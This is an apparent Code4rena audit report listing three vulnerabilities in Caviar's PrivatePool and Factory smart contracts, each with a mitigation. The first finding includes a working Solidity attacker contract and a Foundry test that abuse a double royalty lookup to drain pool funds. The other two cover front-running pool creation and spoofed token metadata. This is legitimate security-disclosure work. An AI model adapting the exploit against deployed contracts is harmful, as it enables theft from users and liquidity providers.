Caviar Private Pools - Haipls's results

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L244 https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePool.sol#L274

Vulnerability details

Impact

• The royalty recipient/royalty manager has the ability to steal funds from the PrivatePool. RoyaltyManager, at the time of receiving the last NFT, changes the royalty fee for the previous NFT's by 100%, which leads to a refund for them. This is possible because at the time of royalty fee payment, the amount is requested again from a third-party contract

Proof of Concept

The order of operations during the `PrivatePool::buy' call allows the recipient of royalties, or whoever can configure them, to steal funds from contracts in which his nft are used:

The existing order of operations:

1. L238-249 - transfer NFT to user balance, call and calculate royaltyFee for this NFT
2. L252-269 - checking whether the amount is sufficient for the purchase, return of the balance, and payment of all fees
3. L272-284 - once again receiving the royaltyFee and transfer the royalty to the royalty recipient

The main problem is that _getRoyalty is called twice, which allows to the inclusion of additional operations between them when receiving nft. The fact that when the royalty is paid, the amount is not checked again

Accordingly, the royalty owner can rotate sales/purchases and change the royalty fee as long as it is profitable for him

An example of abuse of these opportunities:

1. Royalty recipient buys 20 NFTs (just example)
2. He ignores getting the first 19 on his contract

File: PrivatePool.sol

240:             ERC721(nft).safeTransferFrom(address(this), msg.sender, tokenIds[i]);

But for 20 NFTs received, it causes the change of royaltyInfo for the first 19 NFTs to 100% fee, (or another maximum possible)

3. Validation of transferred funds L252:L269 takes place as old data on `royaltyFee' is used there
4. The user receives a full refund for the purchase of the first 19 NFTs (L272-284) as a royalty fee equal to 100% will already be applied there

Test with a simple example:

// Attacker contract for example:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {ERC721TokenReceiver} from "solmate/tokens/ERC721.sol";
import "./shared/Milady.sol";

contract RoyaltyFeeAttack is ERC721TokenReceiver {
    Milady public milady;
    uint256 public point;

    constructor(Milady milady_, uint256 point_) {
        milady = milady_;
        point = point_;
    }

    receive() external payable {}

    function onERC721Received(
        address,
        address,
        uint256,
        bytes calldata
    ) external virtual override returns (bytes4) {
        point--;
        if (point == 0) {
            milady.setRoyaltyInfo(1 ether, milady.royaltyRecipient());
        }
        return ERC721TokenReceiver.onERC721Received.selector;
    }
}

// ** Test:** Added to Buy.t.sol on L180, after test_PaysRoyaltiesIfRoyaltyFeeIsSet
File: test/PrivatePool/Buy.t.sol

+L6: import "../RoyaltyFeeAttack.sol";

+L180   function test_RoyaltyAttack() public {
        // setup init settings for royalty
        RoyaltyFeeAttack attacker = new RoyaltyFeeAttack(milady, 3);
        uint256 royaltyFeeRate = 0.01e18; // 1%
        milady.setRoyaltyInfo(royaltyFeeRate, address(attacker));

        vm.mockCall(
            address(factory),
            abi.encodeWithSelector(
                ERC721.ownerOf.selector,
                address(privatePool)
            ),
            abi.encode(address(this))
        );
        privatePool.setPayRoyalties(true);
        tokenIds.push(1);
        tokenIds.push(2);
        tokenIds.push(3);

        // provide init balance of PrivatePool
        vm.deal(address(privatePool), 100 ether);

        // calculate price of tokens
        (uint256 netInputAmount, , ) = privatePool.buyQuote(
            tokenIds.length * 1e18
        );

        // add royaltyFee to input Amount
        uint256 royaltyFee = (netInputAmount * royaltyFeeRate) / 1e18;
        uint256 royaltyFeeForLastAfterUpdate = (netInputAmount * 1 ether) /
            tokenIds.length /
            1e18;

        netInputAmount =
            netInputAmount +
            royaltyFee +
            royaltyFeeForLastAfterUpdate;

        vm.deal(address(attacker), netInputAmount);
        vm.prank(address(attacker));
        console.log("Balance attacker before", address(attacker).balance);

        privatePool.buy{value: netInputAmount}(tokenIds, tokenWeights, proofs);
        // wi check balance of recipient wiche hardcode in Milady.sol for easy test run,
        // but you can just add address(0xbeefbeef).balance + address(attacker).balance for clearify
        console.log("Balance attacker after", address(0xbeefbeef).balance + address(attacker).balance);
    }

Result:

Balance attacker before 201500000000000000000 Balance attacker after 150500000000000000000

We can see that the user paid back the price of 3 NFT in the amount of 100%, there are nuances here because this example is based on the tests that are present. In the case of developing a completely separate contract, the returned balance will be larger, since it is a test and Milady, applied a royalty fee for 3 NFT in the first cycle, and not as described in the ideal case when 100% will not be applied to the last NFT (due to the test blanks that are used), but the point is that the issue is shown even with such a test.

Next, the user can sell these NFTs and spin it all around

---

Tools Used

• Manual review
• Foundry

Recommended Mitigation Steps

• Cache royalty amounts

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/Factory.sol#L92

Vulnerability details

Impact

• An attacker can monitor the creation of PrivatePools and send fake creations with the same salt, which leads to the rejection of normal transactions.
• The attacker can create their own pools with the same address on other networks (in case the factors will be at the same address)
• In case there will be funds at the potential address, NFTs for certain reasons. An attacker can track it to take those funds, nft

Proof of Concept

To create an address, only salt is used, which is passed as a parameter. This leads to the fact that anyone can occupy potential addresses of pools of other users

An attacker can monitors the mempool to find transactions calling the function create of PrivatePool and front-runs them to create the corresponding PrivatePool to make the benign transaction fail.

In the event that, for certain reasons, the User sent funds to an address that has not yet been created. An attacker can trace the creation of this address and withdraw funds

Referenced code:

• Factory.sol:L92
• Factory.sol:L81

Tools Used

• Manual review
• Foundry

Recommended Mitigation Steps

• Example: Calculate salt as msg.sender + salt

Lines of code

https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/Factory.sol#L161 https://github.com/code-423n4/2023-04-caviar/blob/cd8a92667bcb6657f70657183769c244d04c015c/src/PrivatePoolMetadata.sol#L17

Vulnerability details

Impact

• By invoking the Factory.tokenURI method for a maliciously provided NFT id, the returned data may deceive potential users, as the method will return data for a non-existent NFT id that appears to be a genuine PrivatePool. This can lead to a poor user experience or financial loss for users.
• Violation of the ERC721-Metadata part standard

Proof of Concept

• The Factory.tokenURI and PrivatePoolMetadata.tokenURI methods lack any requirements stating that the provided NFT id must be created. We can also see that in the standard implementation by OpenZeppelin, this check is present:
• Throws if _tokenId is not a valid NFT

Example

1. User creates a fake contract A simple example so that the tokenURI method does not revert:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;

contract NFT {
    function balanceOf(address) external pure returns (uint256) {
        1;
    }
}

contract NonNFT {
    address public immutable nft;

    address public constant baseToken = address(0);
    uint256 public constant virtualBaseTokenReserves = 1 ether;
    uint256 public constant virtualNftReserves = 1 ether;
    uint256 public constant feeRate = 500;

    constructor() {
        nft = address(new NFT());
    }
}

2. User deploy the contract
3. Now, by using tokenURI() for the deployed user's address, one can fetch information about a non-existent NFT.

Tools Used

• Manual review
• Foundry

Recommended Mitigation Steps

• Throw an error if the NFT id is invalid.